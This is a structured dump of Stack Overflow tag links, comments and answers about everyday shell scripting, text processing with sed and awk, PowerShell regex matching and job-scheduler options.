tags question: http://stackoverflow.com/q/77923442
tags question: http://stackoverflow.com/q/78137893
tags question: http://stackoverflow.com/q/78355611
tags question: http://stackoverflow.com/q/78457962
tags question: http://stackoverflow.com/q/78476058
tags question: http://stackoverflow.com/q/78784830
tags question: http://stackoverflow.com/q/78756229
tags question: http://stackoverflow.com/q/78931386
tags question: http://stackoverflow.com/q/79041146
tags question: http://stackoverflow.com/q/78966403
tags question: http://stackoverflow.com/q/79107327
tags question: http://stackoverflow.com/q/79077163

http://stackoverflow.com/comment/135013018
has text: Environment variables can only be strings. Shell arrays are not environment variables.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76575510
type: Comment

github-actions
tags question: http://stackoverflow.com/q/76678432
type: Tag
tag name: github-actions
tags question: http://stackoverflow.com/q/76763104
tags question: http://stackoverflow.com/q/77032363
tags question: http://stackoverflow.com/q/77233116
tags question: http://stackoverflow.com/q/77171901
tags question: http://stackoverflow.com/q/77178372
tags question: http://stackoverflow.com/q/77747972
tags question: http://stackoverflow.com/q/77762009
tags question: http://stackoverflow.com/q/78097270
tags question: http://stackoverflow.com/q/78311056
tags question: http://stackoverflow.com/q/78453492
tags question: http://stackoverflow.com/q/78571514
tags question: http://stackoverflow.com/q/78750269
tags question: http://stackoverflow.com/q/79052621
tags question: http://stackoverflow.com/q/79075923

http://stackoverflow.com/comment/135011662
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76574631
has text: @tjm3772 Yeah, typo; fixed.

http://stackoverflow.com/comment/135015391
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76576781
has text: `printf "%s\n" "$@" | mail-s suppress test@hotmail.com` can be simplified to `mail-s suppress test@hotmail.com <<< "$1"` since there's only one line/argument being processed.

essbase
tag name: essbase
tags question: http://stackoverflow.com/q/76624018
type: Tag

http://stackoverflow.com/a/76679402
answers question: http://stackoverflow.com/q/76669795
accepted answer of: http://stackoverflow.com/q/76669795
type: Answer
has comment: http://stackoverflow.com/comment/135191937
type: AcceptedAnswer
has body: This is what I eventually ended up using to over come the issue of the script not reading the CFG correctly. CFG EXAMPLE TESTDIR1,/u01/home/dir1/dir2/test1,.txt,7 TESTDIR2,/u01/home/dir1/dir2/test2,.csv,7 SCRIPT while IFS=, read ID FILE_PATH EXT DAYS ; do if [[ -z "${ID}" || -z "${FILE_PATH}" || -z "${EXT}" || -z "${DAYS}" ]]; then echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "Failed to set up, please check config file." >> ${ERRLOG} mail_err exit 9 fi # cd ${FILE_PATH} if $? -ne 0 then echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "failed to cd into ${FILE_PATH}" >> ${ERRLOG} mail_err exit 9 fi # find . \( -name ${EXT} \) -mtime +${DAYS} -exec rm -r {} 2>/dev/null \; if $? -ne 0 then echo `date +%d\ %b\ %H:%M` `basename $0` ${USER} "failed to remove ${EXT} from ${FILE_PATH}" >> ${ERRLOG} mail_err exit 9 fi done < ${CFGFILE}
score: 0

docker-registry
type: Tag
tags question: http://stackoverflow.com/q/76578643
tag name: docker-registry
tags question: http://stackoverflow.com/q/79100587

http://stackoverflow.com/comment/135036309
type: QuestionComment
comment on: http://stackoverflow.com/q/76588508
type: Comment
score: 1
has text: `queued_builds` may have hidden characters in it. What does `printf '%q\n' "$build"` show?

http://stackoverflow.com/a/76617693
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76616176
type: AcceptedAnswer
has body: I just found on the qsub man-page, that there is no documented way for the option -v variable[=value],... to safely place a comma into value. Perhaps there is an undocumented way which you can find out by studying the source code of qsub. However there is a workaround: If we just specify -v variable without providing a value, it interprets variable as environment variable in the current environment, and uses its value. In your case, this means that you can do a export INFO="some string, having commas" qsub -v INFO script.pbs
accepted answer of: http://stackoverflow.com/q/76616176

http://stackoverflow.com/comment/134976039
type: Comment
has text: Do a `echo using bash $BASH_VERSINFO` at the start of the program, so that you can verify the bash version you are using.
comment on: http://stackoverflow.com/q/76552603
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135042590
type: QuestionComment
has text: Also see [BashFAQ/003 (How can I sort or compare files based on some metadata attribute (newest / oldest modification time, size, etc)?)](https://mywiki.wooledge.org/BashFAQ/003).
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76591635

http://stackoverflow.com/comment/134963210
type: QuestionComment
type: Comment
score: 0
has text: Please trying add some `echo`s to reveal values of `linha` and `stock` before line with `sed`. What should happen if user provide title which is substring of more than 1 line? Explain how your question is related to `ssh`, which is one of tags you have applied.
comment on: http://stackoverflow.com/q/76546217

http://stackoverflow.com/comment/135230946
has text: You need to do `. ./test_shell.sh`
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76703900

http://stackoverflow.com/comment/135081344
score: 0
has text: The variable can be unset if needed.
comment on: http://stackoverflow.com/a/76588449
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135047086
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76593228
type: QuestionComment
has text: with sed: `sed -n '/.*"theSecret":"/{s///;s/".*//p;}' <json`

http://stackoverflow.com/comment/134969658
has text: Thanks ufopilot! This works as needed but my output lines are printed in reverse (from end to beginning). How can I fix that?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76549806
score: 0

http://stackoverflow.com/a/76630932
answers question: http://stackoverflow.com/q/76623990
type: Answer
downvote count: 1
score: -1
upvote count: 0
has body: the result of script sed is wrong . myh result is this iMac:Desktop oscarristolfi$ echo 'arinare-naturale-sexy-e-p0rchissima-f-it63s1vg0/index.htmli' | sed -e 's/-it[^-]+(/[^/]+)$/\1/' arinare-naturale-sexy-e-p0rchissima-f-it63s1vg0/index.htmli iMac:Desktop oscarristolfi$ doen't remove -it??????? why ?

http://stackoverflow.com/comment/135023854
score: 0
comment on: http://stackoverflow.com/q/76581584
type: QuestionComment
type: Comment
has text: Note also that you could simplify a bit with `$5 = substr($5,1,1)` and by declaring a conversion array for the ports (`BEGIN { a["C"] = "Cherbourg"; a["Q"] = ...` and then: `$12 = ($12 in a) ? a[$12] : $12`.

http://stackoverflow.com/comment/135082714
has text: Do you get anything for `man qsub`, or `apropos qsub`? Check the documentation would be my next advice (not a `qsub` user). Also, just because you see `\n` in output renderings, doesn't mean there is a real backslash, it is just a convention to display it that way and doubling up the backslash only will confuse things further. Good luck.
score: 0
comment on: http://stackoverflow.com/q/76616176
type: QuestionComment
type: Comment

nested-if
type: Tag
tags question: http://stackoverflow.com/q/76551148
tag name: nested-if

http://stackoverflow.com/a/76695829
score: 0
has body: Since you are using GNU grep I assume you also have GNU awk in which case you can use multi-char RS and RT: curl -s https://www.url.com/ | awk -v RS='/news/[^ >]+' 'RT{print "https://www.url.com/" RT}'
type: Answer
answers question: http://stackoverflow.com/q/76679026

system-administration
tags question: http://stackoverflow.com/q/76669265
tag name: system-administration
type: Tag

http://stackoverflow.com/comment/135043499
has text: Instead of non-greedy, use `[^"]*`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76593228
type: QuestionComment

git-bash
tags question: http://stackoverflow.com/q/76575777
type: Tag
tag name: git-bash
tags question: http://stackoverflow.com/q/77175255
tags question: http://stackoverflow.com/q/77198302
tags question: http://stackoverflow.com/q/77522195
tags question: http://stackoverflow.com/q/78061133
tags question: http://stackoverflow.com/q/78650733
tags question: http://stackoverflow.com/q/79234977
tags question: http://stackoverflow.com/q/79251857

http://stackoverflow.com/comment/135081747
type: QuestionComment
comment on: http://stackoverflow.com/q/76615358
has text: Please provide a [mre].
score: 1
type: Comment

download
tag name: download
tags question: http://stackoverflow.com/q/76626472
type: Tag

http://stackoverflow.com/comment/134977972
comment on: http://stackoverflow.com/q/76555096
has text: Thank You @GordonDavisson - I have to replace the $ParamPswd='SOMEVALUE1' by another $ParamPswd='SOMEVALUE2', Is there any way you suggest?
type: QuestionComment
type: Comment
score: 0

qsub
tag name: qsub
tags question: http://stackoverflow.com/q/76616176
type: Tag

http://stackoverflow.com/a/76622048
answers question: http://stackoverflow.com/q/76620855
has body: Why parsing the output? There could be many other errors you won't catch. Do this instead. #! /bin/bash if multipass exec genesis -- ping -c 1 test.com; then echo "Success" else echo "Failed" fi
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/134996896
comment on: http://stackoverflow.com/q/76566011
score: 0
has text: You can symlink or copy a file into somewhere that's available on your `$PATH`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135203977
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76687885
has text: While assignments in a function modify global variables by default, it's a *different* global variable in a command substitution than if you execute the function directly in the current shell. (I.e., `get-value $id_key` and `$(get-value $id_key)` assign to different `id_no` values.)

http://stackoverflow.com/a/76690699
answers question: http://stackoverflow.com/q/76690391
type: AcceptedAnswer
has body: Append | sed -n '/^privateExponent:/,/[^:]$/p' to print all lines, where first line starts (^) with privateExponent: and last line ends ($) without :. Output: privateExponent: 08:da:6c:b0:c9:74:e3:a4:f8:34:99:08:8d:0f:80: 89:0e:1e:2a:b9:76:31:b5:8c:f4:45:c6:fc:2c:a1: 9d:02:1e:b0:ca:e7:10:f8:83:18:22:9b:c7:d1:f1: 68:ad:bb:59:b6:17:49:3d:73:44:04:9c:a7:b3:09: ee:77:2c:3d:c2:58:18:5a:e1:25:c9:0a:bc:b1:74: e8:6c:e1:42:d2:36:5f:80:64:97:00:3b:b6:5c:4c: 28:7e:a1:26:d2:47:19:9f:d2:64:1b:24:88:54:ab: 37:14:74:38:c3:46:08:0f:4c:6d:ec:4e:03:45:1f: fc:e7:db:e4:81:3c:91:e1 See man sed and The Stack Overflow Regular Expressions FAQ
accepted answer of: http://stackoverflow.com/q/76690391
score: 0
type: Answer

http://stackoverflow.com/comment/135011514
has text: Not clear. You give the result you want, but don't explain what it means. What is the order key and direction ? How do you select 4 lines out of 7 ?
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76574631

http://stackoverflow.com/comment/135233698
type: Comment
type: AnswerComment
has text: Bottom line, I do not know which shell to judge to be "POSIX". Bash shell states in the documentation to be POSIX compatible, I do not know if it has received any kind of certification, and there have been differences and bug reports. If we judge bash to be a POSIX shell, then bash has source, then the answer is bash. Busybox also has source. Sooo it is way more fragmented. Also, the question is tagged with bash, so we can assume it.
score: 0
comment on: http://stackoverflow.com/a/76704102

conemu
tag name: conemu
tags question: http://stackoverflow.com/q/76646008
type: Tag

http://stackoverflow.com/comment/135179582
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76673561
score: 0
has text: `USE` is a Gentoo feature. You can't use it with other distros. If you want to disable some feature you need to examine the package you are trying to build and determine how to do that for that package.

http://stackoverflow.com/comment/135220987
type: QuestionComment
score: 1
has text: There should be no problem with filenames that contain spaces in the first place. Instead of changing those file names, fix the part of your script that is broken with respect to handling file names. (For example, it could be as simple as changing something like `foo $filename` to `foo "$filename"`.)
type: Comment
comment on: http://stackoverflow.com/q/76697805

http://stackoverflow.com/a/76598474
upvote count: 1
answers question: http://stackoverflow.com/q/76597912
has comment: http://stackoverflow.com/comment/135052333
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/135052462
has body: check this out : while IFS= read -r line do if [[ "$line" =~ ^(G[0-9]{1,2}[DS]C[0-9]{1,3}\.fqdn\.com)$ ]] # C-Plans then if [ "$(ssh -p2200 "$line" "sha256sum /home/config.conf | awk '{print $1}'")" == "$(ssh -p2200 "$line" "sha256sum /home/config.conf-bk | awk '{print $1}'")" ] then echo "File is the same in \"$line\"." > /dev/null 2>&1 # this output is not important else echo "The config.conf file in \"$line\" has changed, so we reverted the file." | mail -s "The config.conf file in \"$line\" has changed" myemail@gmail.com ssh -np2200 "$line" cp -a /home/config.conf-bk /home/config.conf fi elif [[ "$line" =~ ^(G[0-9]{1,2}[DS]G[0-9]{1,3}\.fqdn\.com)$ ]] # G-Plans then if [ "$(ssh -p2200 "$line" "sha256sum /home/config.conf | awk '{print $1}'")" == "$(ssh -p2200 "$line" "sha256sum /home/config.conf-bk | awk '{print $1}'")" ] then echo "File is the same in \"$line\"." > /dev/null 2>&1 # this output is not important else echo "The config.conf file in \"$line\" has changed, so we reverted the file." | mail -s "The config.conf file in \"$line\" has changed" myemail@gmail.com ssh -np2200 "$line" cp -a /home/config.conf-bk /home/config.conf fi fi done < file.txt

http://stackoverflow.com/comment/135230076
has text: I know `sys.argv[]` (see my question), but this cannot be applied to `sub2.sh` being called from `main.py`. Apart from that, I'm not sure whether this is actually the most convenient way to transfer the variables...
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76702782

http://stackoverflow.com/comment/134964091
score: 0
type: QuestionComment
has text: Your question is confusing (for me). Your code should work fine. just run `/path/to/mailing.sh` and it will run the `checking_file.sh` and your results will be as you expect. I think there are simpler ways to accomplish what you are doing, but I'm assuming there is a reason you have structured your question this way. Good luck.
comment on: http://stackoverflow.com/q/76546737
type: Comment

http://stackoverflow.com/comment/135023399
type: Comment
score: 0
has text: Welcome on StackOverflow. May I suggest that you take a look at the [help center](https://stackoverflow.com/help) and especially at [How do I format my posts using Markdown or HTML?](https://stackoverflow.com/help/formatting)? As it is now your example input CSV is unreadable.
comment on: http://stackoverflow.com/q/76581584
type: QuestionComment

http://stackoverflow.com/comment/135164961
type: Comment
has text: Where does **$output_dir** come from?
comment on: http://stackoverflow.com/q/76664368
score: 0
type: QuestionComment

amazon-elasticache
type: Tag
tag name: amazon-elasticache
tags question: http://stackoverflow.com/q/76681101

file-permissions
type: Tag
tags question: http://stackoverflow.com/q/76705835
tag name: file-permissions
tags question: http://stackoverflow.com/q/77314014
tags question: http://stackoverflow.com/q/77272257
tags question: http://stackoverflow.com/q/79383768

http://stackoverflow.com/comment/139282884
type: Comment
type: AnswerComment
has text: Had to do the `unalias`; even though I had removed the previous definition in the file, which I found weird.
comment on: http://stackoverflow.com/a/76638142
score: 0

http://stackoverflow.com/comment/135015828
type: Comment
comment on: http://stackoverflow.com/a/76575874
type: AnswerComment
has text: @user14041754 for me you have made progress and it is now failing will trying to fetch the data. Git-tfs is far to be perfect and some cases are not supported. Cross check by doing the clone from the command line without using the script for the one failing...
score: 0

http://stackoverflow.com/comment/135172143
has text: @hakre do you know what permissions do I need to check for? some comments reffer to permissions! thanks you
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76664368
score: 0

http://stackoverflow.com/a/76675796
score: 0
answers question: http://stackoverflow.com/q/76675675
has body: With your shown samples in GNU awk you could try following solution. awk ' match($0,/(^.*)\&lt;script [^&gt;]*&gt;[^X]*XXX[^/]*(\/.*)$/,arr){ print arr[1] arr[2] } ' Input_file If you are Happy with above's output then append &gt; temp &amp;&amp; mv temp Input_file to solution to do a inplace save.
type: Answer

spring-boot
tag name: spring-boot
tags question: http://stackoverflow.com/q/76606743
type: Tag
tags question: http://stackoverflow.com/q/76878347
tags question: http://stackoverflow.com/q/77009944
tags question: http://stackoverflow.com/q/78979654

http://stackoverflow.com/comment/135187774
has text: One way to avoid this issue is to provide full paths: `/usr/bin/python /var/www/[…]/testCODES.py`. You can run `whereis python` to find where is the binary.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76678493

ubuntu
type: Tag
tags question: http://stackoverflow.com/q/76548820
tags question: http://stackoverflow.com/q/76546737
tag name: ubuntu
tags question: http://stackoverflow.com/q/76793211
tags question: http://stackoverflow.com/q/76724923
tags question: http://stackoverflow.com/q/76855607
tags question: http://stackoverflow.com/q/76731251
tags question: http://stackoverflow.com/q/77051289
tags question: http://stackoverflow.com/q/76966101
tags question: http://stackoverflow.com/q/77178372
tags question: http://stackoverflow.com/q/77379113
tags question: http://stackoverflow.com/q/77259552
tags question: http://stackoverflow.com/q/77256252
tags question: http://stackoverflow.com/q/77653827
tags question: http://stackoverflow.com/q/77756018
tags question: http://stackoverflow.com/q/77672040
tags question: http://stackoverflow.com/q/77623338
tags question: http://stackoverflow.com/q/77610839
tags question: http://stackoverflow.com/q/77615104
tags question: http://stackoverflow.com/q/77668256
tags question: http://stackoverflow.com/q/77639864
tags question: http://stackoverflow.com/q/77821584
tags question: http://stackoverflow.com/q/77940797
tags question: http://stackoverflow.com/q/78024270
tags question: http://stackoverflow.com/q/77993914
tags question: http://stackoverflow.com/q/78076955
tags question: http://stackoverflow.com/q/78160403
tags question: http://stackoverflow.com/q/78146724
tags question: http://stackoverflow.com/q/78489711
tags question: http://stackoverflow.com/q/78621870
tags question: http://stackoverflow.com/q/78849261
tags question: http://stackoverflow.com/q/79157601
tags question: http://stackoverflow.com/q/79131394
tags question: http://stackoverflow.com/q/79279398
tags question: http://stackoverflow.com/q/79409785
tags question: http://stackoverflow.com/q/79316946

http://stackoverflow.com/comment/135070294
score: 0
has text: _nod_. I took money to maintain someone else's Perl early in my career, twenty-_mumble_ years ago; once was enough -- but I do understand having strong preferences. :)
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76608578

http://stackoverflow.com/comment/135149915
comment on: http://stackoverflow.com/q/76656017
score: 0
has text: Consider the "please show intended output given the stated input" seconded. Right now it's not clear what you're asking for -- you're showing us code, but then expecting us to infer what that code is intended to do _from code that is already understood not to accomplish the thing you intend_. (Showing sample output from `gcloud compute snapshots list` and manually-created desired output is an alternate route to get to a place where this is clearly answerable).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135117201
has text: hi. thnx for reply.. my existing set up is like...... s } steps { echo 'Dockerizing phase....' sh """ echo 'Installing npm ...' npm install npm run build:dev """ with this set up giving ""Compiled with the following type errors (you may want to check these before deploying your app): "" This Error and compiling build success .. my requirement to stop when this type of error shown in logs.. i hope you understand
comment on: http://stackoverflow.com/a/76635833
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135199528
score: 0
has text: Aside from your syntactically incorrect assignment: Define what you mean by _object_. In bash, the only data type is a string (and, in restricted way, indexed arrays and associative arrays). Also, explain your idea of a _null_. In your code, you just test whether the string stored in `val` equals the string `null`.
comment on: http://stackoverflow.com/q/76683161
type: QuestionComment
type: Comment

timeout
type: Tag
tags question: http://stackoverflow.com/q/76548917
tag name: timeout
tags question: http://stackoverflow.com/q/76978545
tags question: http://stackoverflow.com/q/78729881

http://stackoverflow.com/comment/135090829
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76620855
score: 3
has text: in my system `ping` sends the error message to stderr; assuming `multipass` is not modifying this behavior, try redirecting stderr to stdout (`2>&1`), ie: `variable=$(multipass exec genesis -- ping -c 1 test.com 2>&1)`

http://stackoverflow.com/comment/135222872
type: Comment
has text: @dash-o, i tried to flush `StandardInput` but it freezes at `process.StandardOutput.ReadToEnd()`. As i understand, `StandardOutput` is empty
comment on: http://stackoverflow.com/q/76698598
type: QuestionComment
score: 0

http://stackoverflow.com/a/76610466
answers question: http://stackoverflow.com/q/76600353
score: 0
has body: Bash/terminal and Python are unrelated! Check out the output of your command: myname@penguin:~/VS Python /ExamplesPCC$ favorite_language['sarah'] bash: favorite_language[sarah]: command not found The command favorite_language[sarah] is not found, because it is not a command! You have a few options, but I can see that you are in a folder called VS Python and ExamplesPCC. Technically speaking, you are not in an "environment" unless you create one with anaconda and activate it. You have several options. With VS Code, Nano, text editor, whatever you prefer, write a python file. Add whatever you want related to favorite_language['sarah']. You should have that dictionary or json defined beforehand, or opened/fetched from somewhere. If you are editing in VS Code, you can run it after saving it, by going to the path where the file is in the terminal and running: python3 testing_languages.py If not, you can directly run python3 in the console and start coding there. If you are starting, I'd either recomment jupyter notebook to be able to run in blocks and understand better what you are doing in every block of code, or just in VS Code.
type: Answer

http://stackoverflow.com/comment/135193963
score: 0
has text: `strace` is your friend. I'm almost certain you'll see on running such a trace that sqlplus isn't closing its stdout. If it doesn't, then of course tail and tr won't either.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76682292

http://stackoverflow.com/comment/135225952
score: 0
has text: But it is hard to copy outside
type: QuestionComment
comment on: http://stackoverflow.com/q/76685165
type: Comment

postgresql
tags question: http://stackoverflow.com/q/76694496
tag name: postgresql
tags question: http://stackoverflow.com/q/76560632
type: Tag
tags question: http://stackoverflow.com/q/76766553
tags question: http://stackoverflow.com/q/76944944
tags question: http://stackoverflow.com/q/77082516
tags question: http://stackoverflow.com/q/77273410
tags question: http://stackoverflow.com/q/77772183
tags question: http://stackoverflow.com/q/77808615
tags question: http://stackoverflow.com/q/78091231
tags question: http://stackoverflow.com/q/78302587
tags question: http://stackoverflow.com/q/78489711
tags question: http://stackoverflow.com/q/79334513

http://stackoverflow.com/comment/135068808
type: Comment
has text: `if (n % 1 = 0)`? Even if you use the correct `==`, the remainder when you divide any integer by one is *always* zero.
comment on: http://stackoverflow.com/q/76607874
score: 1
type: QuestionComment

http://stackoverflow.com/a/76656211
accepted answer of: http://stackoverflow.com/q/76656059
has comment: http://stackoverflow.com/comment/135150178
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135150201
has body: Your code looks good, the main issue is when you do "...$sel" you're coercing a MatchInfo instance to be a string and when coerced the result is its .Line property when what you're actually looking for is the matched value of your pattern, the same would be happening in $sel | Out-File .... A simple example: $match = 'foo bar baz' | Select-String bar $match.Line # foo bar baz $match.ToString() # foo bar baz $match.Matches.Value # bar So those 2 lines should be changed to: Write-Host "SUCCESS - $pattern `n$($sel.Matches.Value)" # and $sel.Matches.Value | Out-File ... This line also seem to be not needed: $List_IP = Get-ChildItem -Path "C:\ngrok_log.txt" And | Select-Object -ExpandProperty Line should definitely be removed. As for the regex pattern, what you have currently might work fine but if you want more precision you can give this one a try: (?<=url=tcp://)[1-9][0-9]?\.tcp\.(?:ap|au|eu|in|jp|sa|us)\.ngrok\.io:[1-9][0-9]{4}\b See https://regex101.com/r/abddxD/1 for details. Summarizing, you can simplify your code as follows: $pattern = '(?<=url=tcp://)[1-9][0-9]?\.tcp\.(?:ap|au|eu|in|jp|sa|us)\.ngrok\.io:[1-9][0-9]{4}\b' $match = Select-String -LiteralPath path\to\ngrok_log.txt -Pattern $pattern if ($match) { Write-Host "SUCCESS - $pattern `n$($match.Matches.Value)" $folder = 'C:\' $saveFile = Join-Path $Folder -ChildPath 'final_ip.txt' $match.Matches.Value | Out-File $SaveFile } else { Write-Host "ERROR - $IP does not contain $pattern" } Write-Host 'end'
score: 0
answers question: http://stackoverflow.com/q/76656059
type: Answer
has comment: http://stackoverflow.com/comment/135150265
has comment: http://stackoverflow.com/comment/135150287

http://stackoverflow.com/comment/135220968
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76697805
has text: Please copy/paste your full script into http://shellcheck.net as the [tag:bash] tag you used instructs as I suspect that will identify some issues.
type: Comment

http://stackoverflow.com/comment/135191937
type: Comment
type: AnswerComment
has text: Instead of `while read line; do FILE_PATH=$(cut ...`, you can let `read` split the line for you with `while IFS=, read _ FILE_PATH _ DAYS; do ...` the underscores are used to discard the unused columns. (eg, you could also write `while IFS=, read a FILE_PATH b DAYS; do ...`, or whatever names you want to use to store the unused columns)
score: 1
comment on: http://stackoverflow.com/a/76679402

http://stackoverflow.com/comment/135150607
score: 2
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76656090
has text: ...since you specify `WORKDIR /project/dir`, you're already in that directory, and so you're looking for a path `/project/dir/project/dir/fn_env/...`.

http://stackoverflow.com/comment/135070598
score: 0
has text: You might look at how Puppet's PDK is packaged. While they're moving to Go, historically it's been Ruby based. You might leverage their approach to PDK packaging, which I'm 99% sure is available as open source.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76579841

http://stackoverflow.com/a/76679835
type: Answer
score: 0
has body: In bash, it's a one-liner: declare -a dataindex=( "${!data[@]}" ) Examining the variables: $ declare -p data dataindex declare -A data=([drink1]="juice" [drink0]="water" [food1]="orange" [food0]="pasta" ) declare -a dataindex=([0]="drink1" [1]="drink0" [2]="food1" [3]="food0") Note the order of the indexes: associative arrays are unordered.
answers question: http://stackoverflow.com/q/76674976

http://stackoverflow.com/comment/135233570
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76704102
has text: It's hard to answer that, there are millions of projects on github and there are endless programs that state to be "POSIX compatible shell". There is no like "official" certification body. POSIX is a standard that states what has to be there _to be_ POSIX compatible, it is not a limitation of what exists. There exists what exists - most commonly bash, dash and busybox. If OP system has bash, and sh is a symlink to bash, then sh has source. Or OP has written his own sh that is not POSIX compatible, and still has source (we assume he didn't). I do not know how to answer.
score: 0

http://stackoverflow.com/comment/135188762
comment on: http://stackoverflow.com/a/76676086
type: Comment
type: AnswerComment
has text: @shayam, just to emphasize this answer: with `my_command > response_resp` you have created the **file** `response_resp`, not a variable.
score: 0

http://stackoverflow.com/comment/135051605
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76597816
type: QuestionComment
has text: According to this thread: https://github.com/microsoft/WindowsAppSDK/discussions/2320 - the only method they know-of that works is to manipulate hWnds of the Taskbar's child windows directly, including resizing and moving them around - _erk_

taskbar
type: Tag
tag name: taskbar
tags question: http://stackoverflow.com/q/76597816

http://stackoverflow.com/comment/135069819
score: 0
comment on: http://stackoverflow.com/q/76607874
type: QuestionComment
has text: Where is the opening `<studentData>` tag? Please provide a valid well formed xml document.
type: Comment

http://stackoverflow.com/comment/135137847
has text: Your XPath looks alright. How are you executing it? E.g: `xpath -q -e '//dict/array/dict[string='Windows_FAT_32']/key[.='mount-point']/following-sibling::string[1]/text()' file.xml`
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76649342
type: Comment

http://stackoverflow.com/comment/135140610
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76650910
has text: Yes, this worked, thank you! One issue that also may have contributed was that there is a single space before each number in the .dat file, which I needed to delete in order for this to work, but it solved the problem, thanks.
score: 0

http://stackoverflow.com/tag/xml
tags question: http://stackoverflow.com/q/76697224
type: Tag
tag name: xml
tags question: http://stackoverflow.com/q/76722348
tags question: http://stackoverflow.com/q/77039334
tags question: http://stackoverflow.com/q/76993557
tags question: http://stackoverflow.com/q/77319360
tags question: http://stackoverflow.com/q/77309770
tags question: http://stackoverflow.com/q/77615960
tags question: http://stackoverflow.com/q/77974539
tags question: http://stackoverflow.com/q/78023274
tags question: http://stackoverflow.com/q/77977499
tags question: http://stackoverflow.com/q/78552188
tags question: http://stackoverflow.com/q/78501464
tags question: http://stackoverflow.com/q/78819220
tags question: http://stackoverflow.com/q/79392152
tags question: http://stackoverflow.com/q/79505924

http://stackoverflow.com/comment/135162001
has text: Does this answer your question? [Difference between single and double quotes in Bash](https://stackoverflow.com/questions/6697753/difference-between-single-and-double-quotes-in-bash)
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76663322

http://stackoverflow.com/comment/135197714
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76683785
has text: @DiegoTorresMilano, Yes, I know that. I've been programming since 1976 and am a Senior Software Engineer. I was being explicit because the O.P. is clearly extremely inexperienced and I felt being explicit was warranted.

http://stackoverflow.com/comment/134969967
type: QuestionComment
type: Comment
has text: fwiw, re: the error ... `line = lines[lineNr]` says to treat `line` as a scalar variable ... `line[$4]=a[FNR]` says to treat `line` as an array; an `awk` variable cannot be both a scalar and an array hence the error
comment on: http://stackoverflow.com/q/76549073
score: 2

xpath
type: Tag
tags question: http://stackoverflow.com/q/76649342
tag name: xpath
tags question: http://stackoverflow.com/q/77544407

http://stackoverflow.com/comment/135138020
type: QuestionComment
type: Comment
score: 0
has text: Thanks @larsks I'm not sure what's happening then but I'll look further.
comment on: http://stackoverflow.com/q/76649342

http://stackoverflow.com/comment/134973843
score: 3
type: QuestionComment
has text: I'm not familiar with bitbucket and how it preprocesses scripts; what does this code look like when it gets handed to bash for execution? One problem I do see (which shouldn't cause a syntax error) is that `if [ ${#appsArr[@]} ]` will *always* evaluate to true, because the number of elements in the array will never be a null string, even if it's just "0". Also, in `if [ $Foo == 'deploy' ]` you should double-quote `$Foo` and use `=` instead of the nonstandard `==` (or since you're using bash, switch from `[ ]` to `[[ ]]`).
type: Comment
comment on: http://stackoverflow.com/q/76552603

http://stackoverflow.com/comment/135051867
score: 1
type: QuestionComment
has text: @Saeed Is there an extra ".conf" in your filenames (e.g. "/home/config.conf.conf")? If that's not the problem, put `set -x` before the loop to get an execution trace, and see what the remote commands are coming back with.
type: Comment
comment on: http://stackoverflow.com/q/76597912

pcregrep
tags question: http://stackoverflow.com/q/76622373
type: Tag
tag name: pcregrep

intellij-idea
tags question: http://stackoverflow.com/q/76666744
tag name: intellij-idea
type: Tag
tags question: http://stackoverflow.com/q/77105912
tags question: http://stackoverflow.com/q/77307564
tags question: http://stackoverflow.com/q/78044331
tags question: http://stackoverflow.com/q/78027042

kubernetes-helm
tags question: http://stackoverflow.com/q/76599721
type: Tag
tag name: kubernetes-helm
tags question: http://stackoverflow.com/q/77082516

remote-branch
type: Tag
tag name: remote-branch
tags question: http://stackoverflow.com/q/76657149

http://stackoverflow.com/comment/135013121
type: QuestionComment
has text: Environment variables aren't Ruby-specific, they're a general OS feature, and it only supports strings.
score: 2
type: Comment
comment on: http://stackoverflow.com/q/76575510

http://stackoverflow.com/comment/134987387
type: Comment
comment on: http://stackoverflow.com/q/76560632
type: QuestionComment
has text: @CharlesDuffy, so after 20 years and being out of business (legally) they still own that software you wrote?
score: 0

http://stackoverflow.com/comment/135209755
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76683785
has text: My program was written in the AWK language. If you put the program in a file named `prog.awk` you would run it with `awk -f prog.awk`. Try `man awk` to read the documentation.
score: 0

http://stackoverflow.com/a/76660631
upvote count: 2
downvote count: 0
type: Answer
